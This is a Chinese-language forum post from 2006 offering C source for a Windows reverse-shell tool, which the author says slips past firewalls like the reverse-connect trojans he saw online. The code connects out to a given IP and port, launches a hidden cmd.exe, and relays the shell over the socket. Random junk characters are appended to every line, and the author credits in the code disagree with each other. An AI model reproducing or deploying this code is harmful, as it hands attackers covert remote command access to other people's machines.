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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 nKm# kb  
5,gT|4|B\g  
/* ============================== 5VTVx1P[8  
Rebound port in Windows NT aG }oI!  
By wind,2006/7 /(JG\Ut  
===============================*/ l{dsm1#W~  
#include 9?,i+\)qK@  
#include fY&TI}Y  
#!F>cez  
#pragma comment(lib,"wsock32.lib") xA Ez1  
S<i1t[E @W  
void OutputShell(); w&L~+ Z<  
SOCKET sClient; O.B9w+G=  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2/ 4zg  
t <` As6}  
void main(int argc,char **argv) Nj4CkMM[3  
{ ]oV{JR]  
WSADATA stWsaData;  b M1\z  
int nRet; |iH MAo  
SOCKADDR_IN stSaiClient,stSaiServer; g&  e u  
\lQ3j8 U  
if(argc != 3) bIiun a\  
{ y{@\8B]  
printf("Useage:\n\rRebound DestIP DestPort\n"); oM!&S'M/  
return; e|{R2z"^  
} X+]>pA  
l9f_NJHo  
WSAStartup(MAKEWORD(2,2),&stWsaData); ~-zIB=TyK  
,N(Yjq"R  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nnj<k5  
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stSaiClient.sin_family = AF_INET; jvB[bS`<H  
stSaiClient.sin_port = htons(0); U)8yd,qG[%  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $$m0mK  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _ARG "  
{ BF W b0;+  
printf("Bind Socket Failed!\n"); @??3d9I  
return; $!*>5".A  
} vQ*[tp#qU  
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stSaiServer.sin_family = AF_INET; )9`HO?   
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Hnt*,C.0  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); jXeE]A"  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .1[.f}g$J  
{ '{2]:  
printf("Connect Error!"); S#M8}+ZD,  
return; ,)[9RgsE  
} b$DiDm  
OutputShell(); U&#` <R_0  
} VP A+/5TW  
9\.0v{&v  
void OutputShell() eI:[o  
{ ? #rXc%F  
char szBuff[1024]; oY^I|FEOz  
SECURITY_ATTRIBUTES stSecurityAttributes; Yc]V+NxxQ  
OSVERSIONINFO stOsversionInfo; |2l-s 1|y  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; -0CBMoe  
STARTUPINFO stStartupInfo; INr1bAe$  
char *szShell; teS>t!d  
PROCESS_INFORMATION stProcessInformation; "/6#Z>y  
unsigned long lBytesRead; ym{@w3"S  
5Qq/nUR  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {C 5:as  
eP]y\S*P  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7.Y;nem:(  
stSecurityAttributes.lpSecurityDescriptor = 0; HZAT_  
stSecurityAttributes.bInheritHandle = TRUE; &AJ bx  
h,Hr0^?  
yDqwz[v b  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); X0 |U?Ib?  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); /#Pm'i>B  
u"qu!EY2  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "j_iq"J  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "a[;{s{{.  
stStartupInfo.wShowWindow = SW_HIDE; CBd%}il  
stStartupInfo.hStdInput = hReadPipe; 68z#9}  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Sqn>L`Lz  
?IAu,s*u  
GetVersionEx(&stOsversionInfo); "yw{A%J  
 <)TIj6  
switch(stOsversionInfo.dwPlatformId) qkhre3  
{ s8,YQ5-  
case 1: eWDXV-xD  
szShell = "command.com"; @}4>:\es  
break; v,}C~L3  
default: n0l|7:Mk  
szShell = "cmd.exe"; ?sQg{1"Zr  
break; )r46I$]>  
} gg#9I(pX  
Ll=G+cw6P  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); W~mo*EJ'^  
f)_<Ih\/7_  
send(sClient,szMsg,77,0); LKvX~68  
while(1) @LI;q  
{ 6c]4(%8  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @;eH~3P  
if(lBytesRead) 6 EqN>.  
{ 3yRvs;nWS  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); B7uK:J:c*H  
send(sClient,szBuff,lBytesRead,0); ]z'L1vQl7  
} \L(jNN0_R  
else bWA_a]G  
{ T@ESMPeU:X  
lBytesRead=recv(sClient,szBuff,1024,0); k4$zM/ob  
if(lBytesRead<=0) break;  d\ #yWY  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); AVjRhe   
} 9R$$(zB 1;  
} m~Pk ]~j  
.eIs$  
return; g5|&6+t.  
}
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